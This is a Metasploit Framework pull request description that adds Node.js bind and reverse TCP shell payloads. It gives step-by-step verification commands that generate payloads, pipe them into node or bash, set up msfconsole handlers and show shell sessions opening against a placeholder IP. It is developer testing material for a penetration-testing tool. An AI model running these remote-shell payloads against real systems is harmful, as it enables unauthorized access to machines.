rapid7/metasploit-framework — pull request #2478 by jvennix-r7 (2013-10-07 17:37:18+00:00)
Title: Adds bind and cmd payloads for nodejs.

This PR:

- Adds a reverse_tcp and bind_tcp CMD payload
- Adds a bind payload (no bind_ssl for now).

For this PR, assume my IP is `1.1.1.1`.

#### Verify nodejs bind_tcp single payload:

- [ ] Generate and run the bind payload:

```
./msfpayload nodejs/shell_bind_tcp LPORT=5555 LHOST=1.1.1.1 R | node
```

- [ ] Set up the handler and attempt to connect:

```
msf> set payload nodejs/shell_bind_tcp
msf> set RHOST 1.1.1.1
msf> set LPORT 5555
msf> exploit
```

- [ ] Verify you get a shell:

```
[*] Command shell session 12 opened (1.1.1.1:49825 -> 1.1.1.1:5555) at 2013-10-07 12:31:19 -0500
```

#### Verify nodejs bind_tcp cmd payload

- [ ] Generate and run the bind payload:

```
./msfpayload cmd/unix/bind_nodejs LPORT=5555 LHOST=1.1.1.1 R | bash
```

- [ ] Set up the handler and attempt to connect

```
./msfconsole
msf> use exploit/multi/handler
msf> set payload cmd/unix/bind_nodejs
msf> set RHOST 1.1.1.1
msf> set RPORT 5555
msf> run
```

- [ ] Verify you get a shell:

```
[*] Command shell session 10 opened (1.1.1.1:64414 -> 1.1.1.1:5555) at 2013-10-07 12:18:14 -0500
```

#### Verify nodejs reverse_tcp cmd payload

- [ ] Set up and run the handler

```
./msfconsole
msf> use exploit/multi/handler
msf> set payload cmd/unix/reverse_nodejs
msf> set LHOST 1.1.1.1
msf> set LPORT 5555
msf> run
```

- [ ] Generate and run the reverse_tcp payload:

```
./msfpayload cmd/unix/reverse_nodejs LPORT=5555 LHOST=1.1.1.1 R | bash
```

- [ ] Verify you get a shell:

```
[*] Command shell session 11 opened (1.1.1.1:5555 -> 1.1.1.1:65510) at 2013-10-07 12:24:49 -0500
```